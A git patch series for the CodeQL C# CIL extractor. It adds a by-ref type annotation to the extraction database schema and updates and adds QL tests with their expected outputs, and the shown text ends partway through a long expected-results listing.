a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeSignatureDecoder.cs @@ -20,7 +20,7 @@ namespace Semmle.Extraction.CIL.Entities cx.Populate(new ArrayType(cx, elementType, shape.Rank)); Type IConstructedTypeProvider<Type>.GetByReferenceType(Type elementType) => - elementType; // ?? + new ByRefType(cx, elementType); Type ISignatureTypeProvider<Type, GenericContext>.GetFunctionPointerType(MethodSignature<Type> signature) => cx.Populate(new FunctionPointerType(cx, signature)); @@ -37,8 +37,7 @@ namespace Semmle.Extraction.CIL.Entities Type ISignatureTypeProvider<Type, GenericContext>.GetModifiedType(Type modifier, Type unmodifiedType, bool isRequired) => new ModifiedType(cx, unmodifiedType, modifier, isRequired); - Type ISignatureTypeProvider<Type, GenericContext>.GetPinnedType(Type elementType) => - cx.Populate(new PointerType(cx, elementType)); + Type ISignatureTypeProvider<Type, GenericContext>.GetPinnedType(Type elementType) => elementType; Type IConstructedTypeProvider<Type>.GetPointerType(Type elementType) => cx.Populate(new PointerType(cx, elementType)); diff --git a/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected index c1ca2539a91..485eb118b15 100644 --- a/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected +++ b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected @@ -2,28 +2,28 @@ fnptr | file://:0:0:0:0 | delegate* managed<!0,Int32> | 1 | file://:0:0:0:0 | Int32 | 0 | | file://:0:0:0:0 | delegate* managed<A,B> | 1 | file://:0:0:0:0 | B | 0 | | file://:0:0:0:0 | delegate* managed<B,A> | 1 | file://:0:0:0:0 | A | 0 | +| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 3 | file://:0:0:0:0 | Int32 | 0 | +| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | 2 | file://:0:0:0:0 | Int32 | 0 | | file://:0:0:0:0 | delegate* managed<Int32*,Void*> | 1 | file://:0:0:0:0 | Void* | 0 | -| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | 3 | file://:0:0:0:0 | Int32 | 0 | -| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32> | 2 | file://:0:0:0:0 | Int32 | 0 | | file://:0:0:0:0 | delegate* managed<Int32> | 0 | file://:0:0:0:0 | Int32 | 0 | | file://:0:0:0:0 | delegate* managed<Void*,Int32*> | 1 | file://:0:0:0:0 | Int32* | 0 | -| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | 3 | file://:0:0:0:0 | void | 2 | +| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 3 | file://:0:0:0:0 | void | 2 | params | file://:0:0:0:0 | delegate* managed<!0,Int32> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<!0,Int32> | fnptr.dll:0:0:0:0 | !0 | | file://:0:0:0:0 | delegate* managed<A,B> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<A,B> | file://:0:0:0:0 | A | | file://:0:0:0:0 | delegate* managed<B,A> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<B,A> | file://:0:0:0:0 | B | +| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | file://:0:0:0:0 | Int32 | +| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | file://:0:0:0:0 | Object | +| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 2 | file://:0:0:0:0 | Parameter 2 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | file://:0:0:0:0 | Int32 | +| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | file://:0:0:0:0 | Int32 | +| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | file://:0:0:0:0 | Object | | file://:0:0:0:0 | delegate* managed<Int32*,Void*> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Int32*,Void*> | file://:0:0:0:0 | Int32* | -| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | file://:0:0:0:0 | Int32 | -| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | file://:0:0:0:0 | Object | -| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | 2 | file://:0:0:0:0 | Parameter 2 of delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | file://:0:0:0:0 | Int32 | -| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Int32,Object modreq(OutAttribute),Int32> | file://:0:0:0:0 | Int32 | -| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* managed<Int32,Object modreq(OutAttribute),Int32> | file://:0:0:0:0 | Object | | file://:0:0:0:0 | delegate* managed<Void*,Int32*> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Void*,Int32*> | file://:0:0:0:0 | Void* | -| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | file://:0:0:0:0 | Int32 | -| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | file://:0:0:0:0 | Object | -| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | 2 | file://:0:0:0:0 | Parameter 2 of delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | fnptr.dll:0:0:0:0 | !0 | +| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | file://:0:0:0:0 | Int32 | +| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | file://:0:0:0:0 | Object | +| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 2 | file://:0:0:0:0 | Parameter 2 of delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | fnptr.dll:0:0:0:0 | !0 | modifiers -| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | System.Runtime.InteropServices.InAttribute | modreq | -| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32 modreq(InAttribute),Int32> | System.Runtime.InteropServices.OutAttribute | modreq | -| file://:0:0:0:0 | delegate* managed<Int32,Object modreq(OutAttribute),Int32> | System.Runtime.InteropServices.OutAttribute | modreq | -| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32,Object modreq(OutAttribute),!0,Void> | System.Runtime.InteropServices.OutAttribute | modreq | +| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | System.Runtime.InteropServices.InAttribute | modreq | +| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | System.Runtime.InteropServices.OutAttribute | modreq | +| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | System.Runtime.InteropServices.OutAttribute | modreq | +| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | System.Runtime.InteropServices.OutAttribute | modreq | From 727412b26bc2af9be74883d92b547f7f326a4ea9 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 11 Jan 2021 22:11:55 +0100 Subject: [PATCH 0734/1241] Store by-ref type annotation in trap and add tests --- .../Entities/DefinitionMethod.cs | 10 +- .../Entities/FunctionPointerType.cs | 1 + .../Semmle.Extraction.CIL/Entities/Method.cs | 9 +- .../Entities/Property.cs | 1 + .../Entities/TypeAnnotation.cs | 11 + .../extractor/Semmle.Extraction.CIL/Tuples.cs | 3 + csharp/ql/src/semmlecode.csharp.dbscheme | 5 + .../functionPointers.expected | 52 +- .../cil/functionPointers/functionPointers.ql | 26 +- .../cil/typeAnnotations/Program.cs | 10 + .../typeAnnotations/typeAnnotations.expected | 1747 +++++++++++++++++ .../cil/typeAnnotations/typeAnnotations.ql | 25 + 12 files changed, 1863 insertions(+), 37 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction.CIL/Entities/TypeAnnotation.cs create mode 100644 csharp/ql/test/library-tests/cil/typeAnnotations/Program.cs create mode 100644 csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.expected create mode 100644 csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.ql diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs index 60af5e2cc6e..175da806597 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/DefinitionMethod.cs @@ -125,9 +125,15 @@ namespace Semmle.Extraction.CIL.Entities if (t is ByRefType brt) { t = brt.ElementType; + this.locals[l] = Cx.Populate(new LocalVariable(Cx, Implementation, l, t)); + yield return this.locals[l]; + yield return Tuples.cil_type_annotation(this.locals[l], TypeAnnotation.Ref); + } + else + { + this.locals[l] = Cx.Populate(new LocalVariable(Cx, Implementation, l, t)); + yield return this.locals[l]; } - this.locals[l] = Cx.Populate(new LocalVariable(Cx, Implementation, l, t)); - yield return this.locals[l]; } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs index b86fbc61e0c..e92dd957cb5 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/FunctionPointerType.cs @@ -98,6 +98,7 @@ namespace Semmle.Extraction.CIL.Entities if (retType is ByRefType byRefType) { retType = byRefType.ElementType; + yield return Tuples.cil_type_annotation(this, TypeAnnotation.Ref); } yield return Tuples.cil_function_pointer_return_type(this, retType); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs index dd534ac3431..30e94c8e16a 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs @@ -106,8 +106,14 @@ namespace Semmle.Extraction.CIL.Entities if (t is ByRefType brt) { t = brt.ElementType; + var parameter = cx.Populate(new Parameter(cx, parameterizable, i++, t)); + yield return parameter; + yield return Tuples.cil_type_annotation(parameter, TypeAnnotation.Ref); + } + else + { + yield return cx.Populate(new Parameter(cx, parameterizable, i++, t)); } - yield return cx.Populate(new Parameter(cx, parameterizable, i++, t)); } } @@ -122,6 +128,7 @@ namespace Semmle.Extraction.CIL.Entities if (t is ByRefType brt) { t = brt.ElementType; + yield return Tuples.cil_type_annotation(this, TypeAnnotation.Ref); } yield return Tuples.cil_method(this, name, declaringType, t); } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs index 879b53da077..5fb22b40409 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs @@ -65,6 +65,7 @@ namespace Semmle.Extraction.CIL.Entities if (t is ByRefType brt) { t = brt.ElementType; + yield return Tuples.cil_type_annotation(this, TypeAnnotation.Ref); } yield return Tuples.cil_property(this, type, name, t); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeAnnotation.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeAnnotation.cs new file mode 100644 index 00000000000..fe005326b95 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeAnnotation.cs @@ -0,0 +1,11 @@ +using System; + +namespace Semmle.Extraction.CIL.Entities +{ + [Flags] + public enum TypeAnnotation + { + None = 0, + Ref = 32 + } +} diff --git a/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs b/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs index cf625ccfc42..0ae92386c3e 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs @@ -197,6 +197,9 @@ namespace Semmle.Extraction.CIL internal static Tuple cil_custom_modifiers(ICustomModifierReceiver receiver, Type modifier, bool isRequired) => new Tuple("cil_custom_modifiers", receiver, modifier, isRequired ? 1 : 0); + internal static Tuple cil_type_annotation(IEntity receiver, TypeAnnotation annotation) => + new Tuple("cil_type_annotation", receiver, (int)annotation); + internal static Tuple containerparent(Folder parent, IFileOrFolder child) => new Tuple("containerparent", parent, child); diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 712940d4218..2fb07f0b8c6 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -1753,6 +1753,7 @@ cil_field( @cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; @cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field | @cil_function_pointer_type; @cil_parameterizable = @cil_method | @cil_function_pointer_type; +@cil_has_type_annotation = @cil_stack_variable | @cil_property | @cil_method | @cil_function_pointer_type; #keyset[parameterizable, index] cil_parameter( @@ -1773,6 +1774,10 @@ cil_custom_modifiers( int modifier: @cil_type ref, int kind: int ref); // modreq: 1, modopt: 0 +cil_type_annotation( + int id: @cil_has_type_annotation ref, + int annotation: int ref); + cil_getter(unique int prop: @cil_property ref, int method: @cil_method ref); diff --git a/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected index 485eb118b15..0e26dc0592c 100644 --- a/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected +++ b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.expected @@ -1,29 +1,29 @@ fnptr -| file://:0:0:0:0 | delegate* managed<!0,Int32> | 1 | file://:0:0:0:0 | Int32 | 0 | -| file://:0:0:0:0 | delegate* managed<A,B> | 1 | file://:0:0:0:0 | B | 0 | -| file://:0:0:0:0 | delegate* managed<B,A> | 1 | file://:0:0:0:0 | A | 0 | -| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 3 | file://:0:0:0:0 | Int32 | 0 | -| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | 2 | file://:0:0:0:0 | Int32 | 0 | -| file://:0:0:0:0 | delegate* managed<Int32*,Void*> | 1 | file://:0:0:0:0 | Void* | 0 | -| file://:0:0:0:0 | delegate* managed<Int32> | 0 | file://:0:0:0:0 | Int32 | 0 | -| file://:0:0:0:0 | delegate* managed<Void*,Int32*> | 1 | file://:0:0:0:0 | Int32* | 0 | -| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 3 | file://:0:0:0:0 | void | 2 | +| delegate* managed<!0,Int32> | 1 | Int32 | 0 | +| delegate* managed<A,B> | 1 | B | 0 | +| delegate* managed<B,A> | 1 | A | 0 | +| delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 3 | Int32& | 0 | +| delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | 2 | Int32 | 0 | +| delegate* managed<Int32*,Void*> | 1 | Void* | 0 | +| delegate* managed<Int32> | 0 | Int32 | 0 | +| delegate* managed<Void*,Int32*> | 1 | Int32* | 0 | +| delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 3 | void | 2 | params -| file://:0:0:0:0 | delegate* managed<!0,Int32> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<!0,Int32> | fnptr.dll:0:0:0:0 | !0 | -| file://:0:0:0:0 | delegate* managed<A,B> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<A,B> | file://:0:0:0:0 | A | -| file://:0:0:0:0 | delegate* managed<B,A> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<B,A> | file://:0:0:0:0 | B | -| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | file://:0:0:0:0 | Int32 | -| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | file://:0:0:0:0 | Object | -| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 2 | file://:0:0:0:0 | Parameter 2 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | file://:0:0:0:0 | Int32 | -| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | file://:0:0:0:0 | Int32 | -| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | file://:0:0:0:0 | Object | -| file://:0:0:0:0 | delegate* managed<Int32*,Void*> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Int32*,Void*> | file://:0:0:0:0 | Int32* | -| file://:0:0:0:0 | delegate* managed<Void*,Int32*> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* managed<Void*,Int32*> | file://:0:0:0:0 | Void* | -| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 0 | file://:0:0:0:0 | Parameter 0 of delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | file://:0:0:0:0 | Int32 | -| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 1 | file://:0:0:0:0 | Parameter 1 of delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | file://:0:0:0:0 | Object | -| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 2 | file://:0:0:0:0 | Parameter 2 of delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | fnptr.dll:0:0:0:0 | !0 | +| delegate* managed<!0,Int32> | 0 | Parameter 0 of delegate* managed<!0,Int32> | !0 | +| delegate* managed<A,B> | 0 | Parameter 0 of delegate* managed<A,B> | A | +| delegate* managed<B,A> | 0 | Parameter 0 of delegate* managed<B,A> | B | +| delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 0 | Parameter 0 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | Int32& | +| delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 1 | Parameter 1 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | Object& | +| delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | 2 | Parameter 2 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | Int32& | +| delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | 0 | Parameter 0 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | Int32& | +| delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | 1 | Parameter 1 of delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | Object& | +| delegate* managed<Int32*,Void*> | 0 | Parameter 0 of delegate* managed<Int32*,Void*> | Int32* | +| delegate* managed<Void*,Int32*> | 0 | Parameter 0 of delegate* managed<Void*,Int32*> | Void* | +| delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 0 | Parameter 0 of delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | Int32& | +| delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 1 | Parameter 1 of delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | Object& | +| delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | 2 | Parameter 2 of delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | !0 | modifiers -| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | System.Runtime.InteropServices.InAttribute | modreq | -| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | System.Runtime.InteropServices.OutAttribute | modreq | -| file://:0:0:0:0 | delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | System.Runtime.InteropServices.OutAttribute | modreq | -| file://:0:0:0:0 | delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | System.Runtime.InteropServices.OutAttribute | modreq | +| delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | System.Runtime.InteropServices.InAttribute | modreq | +| delegate* managed<Int32&,Object& modreq(OutAttribute),Int32& modreq(InAttribute),Int32&> | System.Runtime.InteropServices.OutAttribute | modreq | +| delegate* managed<Int32&,Object& modreq(OutAttribute),Int32> | System.Runtime.InteropServices.OutAttribute | modreq | +| delegate* unmanaged[StdCall]<Int32&,Object& modreq(OutAttribute),!0,Void> | System.Runtime.InteropServices.OutAttribute | modreq | diff --git a/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql index dc68fc951f2..9dbeb467e24 100644 --- a/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql +++ b/csharp/ql/test/library-tests/cil/functionPointers/functionPointers.ql @@ -4,18 +4,28 @@ import semmle.code.cil.Type bindingset[kind] private string getKind(int kind) { if kind = 1 then result = "modreq" else result = "modopt" } -query predicate fnptr(FunctionPointerType fn, int paramCount, Type returnType, int callingConvention) { - paramCount = fn.getNumberOfParameters() and - returnType = fn.getReturnType() and - callingConvention = fn.getCallingConvention() +private string getAnnotatedType(Type t, Element e) { + cil_type_annotation(e, 32) and result = t.toString() + "&" + or + not cil_type_annotation(e, 32) and result = t.toString() } -query predicate params(FunctionPointerType fn, int i, Parameter p, Type t) { - fn.getParameter(i) = p and p.getType() = t +query predicate fnptr(string fnptr, int paramCount, string returnType, int callingConvention) { + exists(FunctionPointerType fn | fnptr = fn.toString() | + paramCount = fn.getNumberOfParameters() and + returnType = getAnnotatedType(fn.getReturnType(), fn) and + callingConvention = fn.getCallingConvention() + ) } -query predicate modifiers(FunctionPointerType fn, string modifier, string sKind) { - exists(Type modType, int kind | +query predicate params(string fnptr, int i, string param, string t) { + exists(FunctionPointerType fn, Parameter p | fnptr = fn.toString() and param = p.toString() | + fn.getParameter(i) = p and t = getAnnotatedType(p.getType(), p) + ) +} + +query predicate modifiers(string fnptr, string modifier, string sKind) { + exists(Type modType, int kind, FunctionPointerType fn | fnptr = fn.toString() | cil_custom_modifiers(fn, modType, kind) and modType.getQualifiedName() = modifier and sKind = getKind(kind) diff --git a/csharp/ql/test/library-tests/cil/typeAnnotations/Program.cs b/csharp/ql/test/library-tests/cil/typeAnnotations/Program.cs new file mode 100644 index 00000000000..ea38187bdec --- /dev/null +++ b/csharp/ql/test/library-tests/cil/typeAnnotations/Program.cs @@ -0,0 +1,10 @@ +// semmle-extractor-options: --cil + +using System; + +class Test +{ + static void Main(string[] args) + { + } +} diff --git a/csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.expected b/csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.expected new file mode 100644 index 00000000000..c2a2d3a76fe --- /dev/null +++ b/csharp/ql/test/library-tests/cil/typeAnnotations/typeAnnotations.expected @@ -0,0 +1,1747 @@ +| Add | method | 32 | +| AddByteOffset | method | 32 | +| As | method | 32 | +| AsMutable | method | 32 | +| AsRef | method | 32 | +| GetNonNullPinnableReference | method | 32 | +| GetPinnableReference | method | 32 | +| GetRawArrayData | method | 32 | +| GetRawArrayGeometry | method | 32 | +| GetRawData | method | 32 | +| GetRawStringData | method | 32 | +| GetRawSzArrayData | method | 32 | +| GetReference | method | 32 | +| Local variable 0 of method <GetUpper>g__SoftwareFallback\|66_0 | local | 32 | +| Local variable 0 of method Add | local | 32 | +| Local variable 0 of method Clear | local | 32 | +| Local variable 0 of method EnumCalendarInfoCallback | local | 32 | +| Local variable 0 of method GetElement | local | 32 | +| Local variable 0 of method GetHashCode | local | 32 | +| Local variable 0 of method GetPinnableReference | local | 32 | +| Local variable 0 of method GetUpper | local | 32 | +| Local variable 0 of method GetValue | local | 32 | +| Local variable 0 of method LinkTimer | local | 32 | +| Local variable 0 of method Memmove | local | 32 | +| Local variable 0 of method MoveNext | local | 32 | +| Local variable 0 of method Multiply | local | 32 | +| Local variable 0 of method RemoveIndex | local | 32 | +| Local variable 0 of method Reverse | local | 32 | +| Local variable 0 of method RunOrScheduleAction | local | 32 | +| Local variable 0 of method ToUInt64 | local | 32 | +| Local variable 0 of method TryDecodeFromUtf16 | local | 32 | +| Local variable 0 of method TryParseExactD | local | 32 | +| Local variable 0 of method TryParseExactN | local | 32 | +| Local variable 0 of method ValueToHexString | local | 32 | +| Local variable 0 of method ValueToString | local | 32 | +| Local variable 1 of method .ctor | local | 32 | +| Local variable 1 of method <Create>g__SoftwareFallback\|32_0 | local | 32 | +| Local variable 1 of method <Create>g__SoftwareFallback\|33_0 | local | 32 | +| Local variable 1 of method <Create>g__SoftwareFallback\|34_0 | local | 32 | +| Local variable 1 of method <Create>g__SoftwareFallback\|35_0 | local | 32 | +| Local variable 1 of method <Create>g__SoftwareFallback\|36_0 | local | 32 | +| Local variable 1 of method <Create>g__SoftwareFallback\|37_0 | local | 32 | +| Local variable 1 of method <Create>g__SoftwareFallback\|38_0 | local | 32 | +| Local variable 1 of method <Create>g__SoftwareFallback\|39_0 | local | 32 | +| Local variable 1 of method <Create>g__SoftwareFallback\|40_0 | local | 32 | +| Local variable 1 of method <Create>g__SoftwareFallback\|41_0 | local | 32 | +| Local variable 1 of method <GetCalendarInfo>b__32_0 | local | 32 | +| Local variable 1 of method <GetDisplayName>b__113_0 | local | 32 | +| Local variable 1 of method <WithUpper>g__SoftwareFallback\|67_0 | local | 32 | +| Local variable 1 of method Add | local | 32 | +| Local variable 1 of method Append | local | 32 | +| Local variable 1 of method AppendHelper | local | 32 | +| Local variable 1 of method AppendJoin | local | 32 | +| Local variable 1 of method CompareString | local | 32 | +| Local variable 1 of method CompareStringOrdinalIgnoreCase | local | 32 | +| Local variable 1 of method Convert | local | 32 | +| Local variable 1 of method Create | local | 32 | +| Local variable 1 of method CreateActivityPathGuid | local | 32 | +| Local variable 1 of method EndsWith | local | 32 | +| Local variable 1 of method FillStringChecked | local | 32 | +| Local variable 1 of method FromBase64CharArray | local | 32 | +| Local variable 1 of method FromBase64String | local | 32 | +| Local variable 1 of method FromUtf16 | local | 32 | +| Local variable 1 of method GetAscii | local | 32 | +| Local variable 1 of method GetByteCount | local | 32 | +| Local variable 1 of method GetByteCountWithFallback | local | 32 | 